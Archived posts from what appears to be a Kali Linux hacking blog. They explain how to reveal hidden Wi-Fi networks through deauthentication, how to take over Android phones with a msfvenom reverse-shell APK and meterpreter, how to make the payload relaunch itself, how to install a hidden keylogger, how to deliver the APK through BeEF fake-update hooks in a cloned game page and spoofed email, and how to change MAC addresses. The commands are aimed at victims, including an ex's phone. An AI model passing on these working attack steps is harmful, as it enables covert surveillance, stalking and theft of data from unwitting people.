Showing posts with label kali linux. Show all posts
Showing posts with label kali linux. Show all posts

Monday, 27 November 2017

How to Find a Hidden WiFi Network

Did your neighbor just Hide their network and  change network name
In this post, I will show you how to connect to hidden WiFi network.
To connect to Hidden WiFi you just need to know Network name. After Finding network name chose “add network/Connect to hidden WiFi” enter name of the network.  That’s It.
In this tutorial, I am using Linux (kali) you can use any Linux distribution (Install aircrack-ng).

Using Kali Linux

After power on your machine open terminal.
Next step type ifconfig and press Enter. It will show all available network interface. Take a look all of these. if there is wlan0 is present then you can go ahead. In some distribution, it is named something different like wlXXXX. it indicates that you can use wifi.
ifconfig
Next step is about killing your internet. It is important. here is the command.
ifconfig wlan0 down
Now, you can enable monitor mode.
iwconfig wlan0 mode monitor
Above command will enable monitor mode. you have to enable monitor mode. Monitor mode is used see information about wifi networks that are available in our range. For disconnecting the client from network monitor mode is important (read full post you will understand what I am talking about).
After that, you need to kill (stop) some computer process.
airmon-ng check kill
airmon-ng check kill
it will kill all the process that can cause a problem in wifi hacking. For e.x. Network manager. we all of us enable auto-connect to our network. For hacking, it causes a problem so you have to stop this process.
Now you are able to see all available networks (depend upon your wireless card range). I from a village so there is only one wifi network available. To see the network run following command.
airodump-ng wlan0
airodump-ng hidden wifi
It will show to all network present in your range. As you can see ESSID length 4 means there is hidden WiFi and name of the network made of  4 characters.
To view the name of the network open new terminal and run following command.
aireplay-ng -0 10 -a 90: wlan0
It will produce Dos attack so you can see network name as shown in the screenshot.hidden wifi
The network name is under ESSID.  I already told you how can you connect to the hidden network.

Can you find hidden WiFi in android?

NO, For finding hidden network name wireless card should support monitor mode. Android mobile wireless card did not support monitor mode.
You can use the combination of Kali Linux in the Android + external wireless adapter. I can post this tutorial but believe it is very complex.
You can find tutorials on the Internet but believe me they all are fake. you can’t hidden network name in Android. If you know network name then you can connect to this hidden WiFi.
Go to WiFi settings and chose ‘Add network’. Enter the name of the network and wait for seconds. If the network is available then it will show you network.

how to hack android mobile

Do you want to learn android pen testing or just want to hack your ex-phone? I will explain everything from beginner level. You did not need any previous knowledge for his.
Just read this post carefully with patience.
After reading this post, you can hack any android phone (but don’t expect any magic from me).
I will post 2-3 on Android hacking
You will learn
  • How to hack android using Linux os
  • Hack using any device.
  • Hack by window operating system
If you are beginner read this post first
Stupid Question like ‘How to hack android phone,’ ‘what is this,’ ‘My gf/bf cheating me please help me’ is not allowed 

Using Linux operating system.

I am assuming you have read kali Linux tutorials for beginners. In Kali Linux, there is tool known as Metasploit

What is Metasploit

Metasploit is the framework where all type of pen testing tool is present. You can hack anything like window pc, server, android, etc. If you are beginner check out the Metasploit tutorial for beginners.

Practical 😀

Note: I’m using same wifi network. In the end, I will show you How to hack the device that is not on your network?. Keep reading.
First of all, we create a payload (you can call it app) then install it on his/her phone. When your victim opens it you his device will be in your control.
Here is the command to run in the terminal
msfvenom -p android/meterpreter/reverse_tcp LPORT=your local IP LPORT=4444 -o appname.apk
This command will create an app in the current directory with the name of appname.hacking android device with metasploit Off course you can change it to anything. Let me explain this
-p for payload. I have reverse_tcp because it bypasses all kind of firewall rules.
LHOST: Is your local IP address. Type ifconfig to find your IP address. Make sure your target mobile phone is using the same network. Later on, I will tell you how to hack android phones that are outside of your network.
LPORT: for selecting the port number. I have chosen 4444 because it is free. You can choose anyone but in the particular case, I will recommend you to chose 443. It is the port number for https. So in any case expert it scanning phone he/she will ignore this because it is the port for https (it should open). If he/she see port 4444 is open, then he can check the phone.
o For saving app, you can use > too. It will keep apk in the current directory.
After that in terminal type msfconsole. It will launch Metasploit.
Set your exploit to multi handler. here is the command
use exploit/multi/handler
(if you are confused by this command to read Metasploit tutorial for beginner )
Now we need to set payload
set payload android/meterpreter/reverse_tcp
Show options command will show all options. As you can see in the screenshot, we need to set LHOST (mean local IP address)
set LHOST 192.168.43.60
This is my IP your IP different than this. I show you above how to find local Ip address
Port number should be same as msfvenom. Mine is 443
set  LPORT 443
Last command :mrgreen:
type
run
Your system is ready for hacking the android phone.
App that you created in the first step install it in your phone (for testing)
install malware app in android
open it (you will get nothing)
run malware for hacking android metasploit
But on the computer side, you got the meterpreter session. Mean you have hacked this device :).
In my case, I don’t know why I am facing this error
Hacking android device with metasploit
Don’t worry run this command
session -i
It will show output similar to like it. Because I open the app three times so I got 3 sessions.
getting sessions in metasploit for android hacking
In my case I got 3 sessions I don’t not in your case but we will select last sessions. Command
sessions -i 3
You got meterpreter sessions ðŸ˜Ž
type help to see what can you do.
You can do anything like taking screenshots, call details, keylogger, upload and download files etc.
These are a lot commands here are some samples
to take the screenshot
screenshot
To take photo
webcam_snap
To export all contacts
dump_contacts
For call logs
dump_calllog
You can hide app too
hide_app_icon
You can download or upload files too if you know Linux commands
Moral: you can do anything.

How to send to apk file to Victim

If you send file this. He/She will definitely uninstall it because it shows nothing. You hide the app icon using hide_app_icon command.

App open again and again automatically

But if user clean recent apps then our connection will be lhost.
To bypass this problem follow these steps.
Open any text editor and copy paste these codes.
#!/bin/bash
while :
do am start --user 0 -a android.intent.action.MAIN -n com.metasploit.stage/.MainActivity
sleep 20
done
save it with startagain.sh
Make sure extension is .sh
When you got meterpreter session then  run these commands
cd /sdcard/Download
upload startagain.sh
You will like this on uploading scriptHacking android phone
This means you have uploaded script successfully. Run these commands to execute script.
shell
cd /sdcard/Download
sh startagain.sh
after 5-10 seconds press ctrl+c like the screenshot
exeuting custom script
Don’t worry we stop shell not script.
As you can see in the screenshot I got New meterpreter sessions after every 20 seconds.meterpreter session again and again
Until you will not reboot your phone you will continuously get meterpreter sessions after every 20 seconds.
How to hack the device that is not in your network?
You can port forward your router then use your public IP address (search on google my public IP). In the case, if you are using mobile data then buy a web server.
How to get web server free?
Google cloud provide you free web server with the amount of $300. You can use this money to install Linux distribution (I think Debian coast $10/month). Install Kali Linuxand do the same process just change IP to your public IP (Google will provide you).
Make sure you have the credit card for making billing.

Hack Using any device

For this, we will use a unique app known as keylogger apps. It will record everything typed by victim keyboard and send to you. There are many keylogger apps availablefor Android, But I will use hoverwatch.
This app is not available in Google play store. You have to download from official site. This is best free spy software from all tested apps.
Just Install and receive log files online. There is the only one limitation in this app that it will give you free trial version up to 3 days. Therefore, you can use hoverwatch free for only three days. Paid Plans are starting from $8.33/month for a single device.hoverwatch (1)
There is the only one limitation in this app that it will give you free trial version up to 3 days only mean you can use this app free for just three days. Plans are starting from $8.33/month for a single device.
How to enable hoverwatch
  1. Open hoverwatch official site, type your email and password and click on “Sign up Free” Button.hoverwatch offical site
  2. It will take you to https://i.hoverwatch.com/app/index.html#add-device URLyou can see a Download button click on it [make sure it is under android tab as shown in the screenshot]download hoverwatch
  3. After downloading Install it in which phone you want to install. Don’t ask in comments how to install an app.installing hoverwatch
  4. After Installing it, open the app. When you open this app, it will ask you about I am going to use this software to monitor. I recommend you to choosing my device and make sure Hide Hoverwatch Icon and click on the Ok buttonlogin in account by choosing my deivce
  5. on next page agree With Legal Terms tap on I ACCEPT button then It will ask for “Activate device administrator” click on Activate button
    accepting terms of serviceactivating sync service
  6. On next page, it will ask your email & password  so enter email and password that you made in the first step
  7. Done now you are ready you can view logs on hoverwatch website. Sign in your account and you can see all recorded keystroke.

Install android apps without touching phone

As I promise you in the previous article that my next post will be related to android hacking. In this article, you will learn how to install apps in your victim phone easily or without touching his/her phone.
I know it is not easy to take someone phone then install the ap and if you forget to open the app then no results.
If you have any problem, suggestion let me know by comments I help everyone.
Note: This is for education purpose only. Please don’t misuse it.
Requirements
  • beef
  • metasploit
  • Patience  (most of the readers don’t have patience )
Practical
We will create an android payload or virus or malicious app using Metasploit. I already posted here to generated android payload using Metasploit check it.
After creating the app, you launch Metasploit and wait for receiving the connection. Here are commands
service postresql start;msfconsole
It will launch Metasploit. Further commands
use exploit/multi/handler;set payload android/meterpreter/reverse_tcp;set lhost <local IP address>; set lport 4444
Remain this terminal as and follow further steps.
Launch beef. In Kali, you can start from the sidebar.launch beef in kali linuxIn parrot or any other security distribution, you can launch using this command.
beef-xss
Beef is browser exploitation framework. No matter either victim is using chrome, firefox you will not face any problem.
As you can see in the screenshot, it asks for the username and password. These are default username and password.
beef
beef
beef default username-password
After the successful login, a new webpage will open where in the sidebar, there are two directories online browser and offline browser. We can hook browser using a script then we will able to run own codes to the victim browser. When you hook a browser, it will show in the online browser. If it is confusing, don’t worry you will understand everything.
Beef also launch a terminal when you start it. Here is the screenshot of terminal I have highlighted the example remember it we will use in future.hook browser example
To hook own browser visit this link http://127.0.0.1:3000/demos/basic.html or insert script tag. When you open this beef will show something like this.
hooked browser
Meaning you hooked your browser (127.0.0.1 mean your browser).  Click on 127.0.0.1 and choose commands. In the commands tab expend social engineering and pick Fake update bar (chrome) because I’m using chrome you can find victim browser using details tab.fake update for android hacking
Open a new terminal and type ifconfig to find your IP address.
In my case, it is 192.168.43.7.
To hook a victim, my URL will be http://192.168.43.7:3000/demos/basic.html.
Connect your phone to the same network that you are using on your computer. Open this URL on the android phone here is what I got on the beef control panel. In the commands expend social engineering and choose Fake update bar (chrome) because I’m using chrome you can find browser using details tab.
In the URL we will place our android payload URL. You can upload payload to the very famous website like google drive or start own server.
fake update for android hacking
Just run this command.
service apache2 start
After this copy your android virus that you generated in the first step to /var/www/directory. So URL of the Android virus is http://<IP>/appname.apk
I think you know how to find local IP address. Paste in URL tab of beef and click on execute.
On executing your android phone will show you something like this.
installl missing plugins (hack android phone using metasploit
If you choose Install Missing Plugins, then the app will start downloading.hack android phone
Tap on open, the app asks for installation. After installing when you open it, you will be in the browser app (because our app will display nothing). installl and opening app
But we will get a meterpreter session.
session open
I already posted how to hide app icon, get meterpreter season again and again in the first post of Android hacking.

How to perform a real task

In the actual case, we can’t send the link like this. Your victim will close tab immediately. So we should create something engaging.
I found a snake script. It is the game developed using JavaScript you can download it from GitHub.
Note: This game only works with arrow keys. Maybe android user will be unable to play the game. So we will show install missing plugins to play the game.
Here are simple steps to do this.
First of clone this game from Github.
git clone https://github.com/Mariacristina88/Snake-game.git; cp -r ./Snake-game /var/www/html; nano  /var/www/html/Snake-game/snakegame.html
If above Linux commands confuse you then read my Linux commands for beginners post. Semicolon (;) is used to run two or more commands in the single line.
It will download and copy the game to HTML folder and open snakefile.html. Just insert this script tag.
<script src="http://192.168.43.60:3000/hook.js"></script>
Press ctrl+o to save ctrl+x to exit.
Now, send URL http://192.168.43.60/Snake-game/snakegame.html to your victim. You can port forward your router to perform it over the internet.
Now when our victim opens the link, he will see something like this.how to hack android phone part 2
And we will get hook that browser.  After that repeat above steps to install apps
Tip: you can add custom CSS to make fake update clear. So our victim will install app successfully.

Part-2 Email spoofing

As clear from its name we will spoof our email address. I mean you can send email from any address (yeah from even bill gates email address, do you have bill gates email address?). To spoof an email address, you need only SMTP settings.
Don’t confuse by above words there are tools and websites.
I use https://emkei.cz/ For sending spoofing emails.
This website has a straightforward interface. Just enter to, from, subject, message and send the message.
But Gmail service will catch it and move emails to spam.
In case if your victim is using webmail service then 99% chances are that your message will appear in the inbox.
Here is the screenshot of mail I send to my webmail using this website. fake email example
Thus using spoofing email, you send the malicious app to your victim. Just make sure your message should be real and quick.
Problem with this method is who used webmail on the android phone, or my victim is using Gmail.
Well, this is part of social engineering. You should find your way to hack your victim phone. Don’t we will go further in advance of Android hacking but due to exams i will publish next article in futue.

how to change mac address in kali linux

Macchanger is a tool used to change mac address in Linux. In kali and backtrack it is pre-installed on other distribution you can install it manually (type macchanger in the terminal to know how to install) by reading this tutorial you can spoof  Mac address of any interface like eth0, wlan0 etc.
If you are new Kali Linux then before starting tutorial you need to know what Mac Address is and why you need to change it. Generally, an error you need to down interface if you not down this then there will an error occur  ERROR: can’t change mac address: interface up or not permission: Cannot  assign requested address while occur while changing mac.
Also, read:
What is Mac Address?
Mac stands for Multimedia access control. It is basically our computer’s hardware identification or while connecting an Ethernet or Wi-Fi an identification of our device is needed that id is our Mac id. Every device has unique Mac id and you can’t change it permanently but you are able to spoof for some time it with macchanger.  Wi-Fi address is 12-bit long ex. E2:F3:W3:34:56:67 in Every id first three digits E4:F3:W3 are the identity of manufacture and last three digits 34:56:67 are made by the manufacturer. The Same way our Ethernet id is made but it 10 bit long. Remember Ethernet and Wi-Fi address are not same these are two different-different interfaces. To know your real id go to setting→network→wireless.
Did not understand: Turn hotspot on of your phone and connect any device with this network now on connected device open hotspot settings and in connected user an id like E2:F4:R3:56:78:90 is showing that is mac id of the connected device.
Why do you need to change it?
For the normal purpose, there is no need to spoof but in hacking, it has many benefits.
Bypass Mac filtration security: This is wireless network security. In this security only allowed device are able to connect to wifi other device are unable to connect because as I tell you above by default every device has a unique id so only allowed devices can connect to wi-fi. To bypass this security you need to spoof your id.
While hacking a router: If you want to full control by hacking router then you should spoof Mac id because if the admin sees any activity from your computer id then admin can block but you if your wifi address is not real then you can reconnecting to the network.

How to Spoof Mac

It is very easy. In this tutorial I will change my wireless adapter address but I will I also tell you how you can change other  adapter addresss.
open terminal and type ifconfig. it will show you all the adaptersifconfig
How to change wlan0 address: Type following commands to spoof wlan0 interface
root@kali:~# ifconfig wlan0 down
              
For changing id manually then type macchanger –m  fake address wlan0 for example
root@kali:~#
macchanger –m 12:12:12:12:12:12 wlan0
If you want to change your id automatically then type
macchanger -a wlan0
And for random change replace -a with –r
And in the last type
root@kali:~# ifconfig wlan0 up
For turning off spoofing type 
ifconfig wlan0 down
Ifconfig -p wlan0    // -p mean permanent
ifconfig wlan0 up
Now your wifi address interface id is successfully changed you can connect your PC with phone’s hotspot for verification if you are not able to buy a router.
How to change eth0 interface: To spoof eth0 address just replace eth0 with wlan0
Ifconfig eth0 down   //Type only if you are using ethernet
Macchanger -r eth0
Ifconfig eth0 up
Tip: For bypass mac filtration security change wlan0 not mon0 although you enable mon0 interface. If your internet stop working then disconnect and network and connect again to it.
Reason error occurring on changing Multimedia access control?
Most of the times we do not down interface
If we do not type correct syntax for wlan0 XX:XX:XX:XX:XX:XX and for eth0 XX:XX:XX:XX:XX replace xx with any numerical or alphabet.
If you running dual os using Virtual box then you need to buy a wireless adapter for wlan0.